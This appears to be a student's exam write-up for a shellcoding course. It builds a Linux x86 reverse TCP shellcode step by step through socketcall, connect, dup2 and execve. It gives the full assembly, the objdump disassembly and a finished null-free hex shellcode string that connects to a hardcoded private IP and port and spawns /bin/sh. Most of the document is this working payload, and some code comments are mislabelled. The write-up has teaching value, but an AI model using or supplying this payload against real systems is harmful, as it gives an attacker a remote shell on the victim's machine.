Assignment Task:
Create a Shell_Reverse_TCP shellcode
Reverse connects to configured IP and Port
Execs shell on successful connection
IP and Port should be easily configurable
The TCP reverse shell is used to connect back to the attacking machine, with an interface to execute commands on the target machine.
The TCP reverse shell code consists of following function calls:
int socket(int domain, int type, int protocol); # creates an endpoint for communication and returns a descriptor
int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen); # initiate a connection on a socket
int dup2(int oldfd, int newfd); # duplicate a file descriptor. This syscall is issued 3 times to dupilcate stdin, stdout and stderr.
int execve(const char *filename, char *const argv[],char *const envp[]); # execute program
Syscall numbers for these functions can be found in /usr/include/i386-linux-gnu/asm/unistd_32.h and are as follows:
int socketcall(int call, unsigned long *args); # Syscall number; 102 or 0x66 int socket(int domain, int type, int protocol); # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 1
int connect(int sockfd, const struct sockaddr_in *addr,socklen_t addrlen); # Called via sokcetcall Syscall number: 102 or 0x66. Argument no 3
int dup2(int oldfd, int newfd); # Syscall number: 63 or 0x3f
int execve(const char *filename, char *const argv[],char *const envp[]); # Syscall number: 11 or 0xb`
The first function (socket) takes in three arguments int domain, int type, int protocol. In this case the value of these arguments would be:
domain – AF_INET or 2 (represents IPv4)
type – SOCK_STREAM or 1 (represents TCP)
protocol – 0 (choose the most appropirate protocol)
Assembly code for this function call:
;STORING ARGUMENTS FOR SOCKETCALL SYSCALL
XOR EAX, EAX
MOV AL, 0X66
XOR EBX, EBX
MOV BL, 0X1
;STORING ARGUMENTS FOR SOCKET FUNCTION CALL
XOR EDX, EDX
PUSH EDX
PUSH BYTE 1
PUSH BYTE 2
;STORING ARGUMENTS FOR SOCKETCALL SYSCALL
MOV ECX, ESP
;EXECUTING SOCKETCALL SYSCALL
INT 0X80
MOV EDI, EAX ;STORING RETURN VALUE I.E. SOCKFD IN EDI
The second function (connect) takes in three arguments int sockfd, const struct sockaddr_in *addr,socklen_t addrlen. In this case the value of these arguments would be:
sockfd – Socket file descriptor returned by the first syscall
*addr – Reference Socket structure address. Is is defined as follows:
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
addrlen – Length or size of socket structure
Assembly code for this syscall:
;STORING ARGUMENTS FOR SOCKETCALL SYSCALL
XOR EAX, EAX
MOV AL, 0X66
XOR EBX, EBX
MOV BL, 0X3
;STORING SOCKADDR_N STRUCTURE ON STACK
XOR EDX, EDX
PUSH DWORD 0X1404A8C0
; IP TO CONNECT TO
PUSH WORD 0X11D7
; PORT NUMBER TO BIND THE SHELL ON (PRESENT VALUE CONNECTS ON PORT 55057)
PUSH WORD 0X02
;STORING ARGUMENTS FOR BIND FUNCTION CALL
MOV EDX, ESP
PUSH BYTE 16
PUSH EDX
PUSH EDI
;STORING ARGUMENTS FOR SOCKETCALL SYSCALL
MOV ECX, ESP
;EXECUTING SOCKET CALL SYSCALL
INT 0X80
The third syscall (dup2) takes in two arguments int oldfd, int newfd and is executed three times to copy stdin, stdout and stderr. In this case the value of these arguments would be:
oldfd – value returned by socket syscall
newfd – 0,1,2
Assembly code for this syscall:
XOR ECX, ECX
XOR EAX, EAX
MOV AL, 0X3F
INT 0X80
INC ECX
XOR EAX, EAX
MOV AL, 0X3F
INT 0X80
INC ECX
XOR EAX, EAX
MOV AL, 0X3F
INT 0X80
The last syscall (execve) takes in three arguments const char *filename, char *const argv[],char *const envp[]. In this case the value of these arguments would be:
filename – “/bin/sh”
argv = NULL
envp = NULL
Assembly code for this syscall:
XOR EAX, EAX
PUSH EAX
PUSH 0X68732F2F
PUSH 0X6E69622F
MOV EBX, ESP
MOV ECX, EAX
MOV EDX, EAX
MOV AL, 0XB
INT 0X80
Compiling and linking this file:
Testing the assembly code:
Objdump output of assembly code:
ptlabmachine@ptlabmachineu1204:~/Documents/SLAE/SLAE-EXAM/2$ objdump ./reverse_shell.o -d -M intel
./reverse_shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor eax,eax
2: b0 66 mov al,0x66
4: 31 db xor ebx,ebx
6: b3 01 mov bl,0x1
8: 31 d2 xor edx,edx
a: 52 push edx
b: 6a 01 push 0x1
d: 6a 02 push 0x2
f: 89 e1 mov ecx,esp
11: cd 80 int 0x80
13: 89 c7 mov edi,eax
15: 31 c0 xor eax,eax
17: b0 66 mov al,0x66
19: 31 db xor ebx,ebx
1b: b3 03 mov bl,0x3
1d: 31 d2 xor edx,edx
1f: 68 c0 a8 04 14 push 0x1404a8c0
24: 66 68 d7 11 pushw 0x11d7
28: 66 6a 02 pushw 0x2
2b: 89 e2 mov edx,esp
2d: 6a 10 push 0x10
2f: 52 push edx
30: 57 push edi
31: 89 e1 mov ecx,esp
33: cd 80 int 0x80
35: 31 c9 xor ecx,ecx
37: 31 c0 xor eax,eax
39: b0 3f mov al,0x3f
3b: cd 80 int 0x80
3d: 41 inc ecx
3e: 31 c0 xor eax,eax
40: b0 3f mov al,0x3f
42: cd 80 int 0x80
44: 41 inc ecx
45: 31 c0 xor eax,eax
47: b0 3f mov al,0x3f
49: cd 80 int 0x80
4b: 31 c0 xor eax,eax
4d: 50 push eax
4e: 68 2f 2f 73 68 push 0x68732f2f
53: 68 2f 62 69 6e push 0x6e69622f
58: 89 e3 mov ebx,esp
5a: 89 c1 mov ecx,eax
5c: 89 c2 mov edx,eax
5e: b0 0b mov al,0xb
60: cd 80 int 0x80
The code does not contain any null characters.
Generting the shellcode:
Testing the generated shellcode with run_shellcode.c
TCP Reverse shellcode:
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xd2\x68\xc0\xa8\x04\x14\x66\x68\xd7\x11\x66\x6a\x02\x89\xe2\x6a\x10\x52\x57\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
Github repository for this assignment: Assignment 2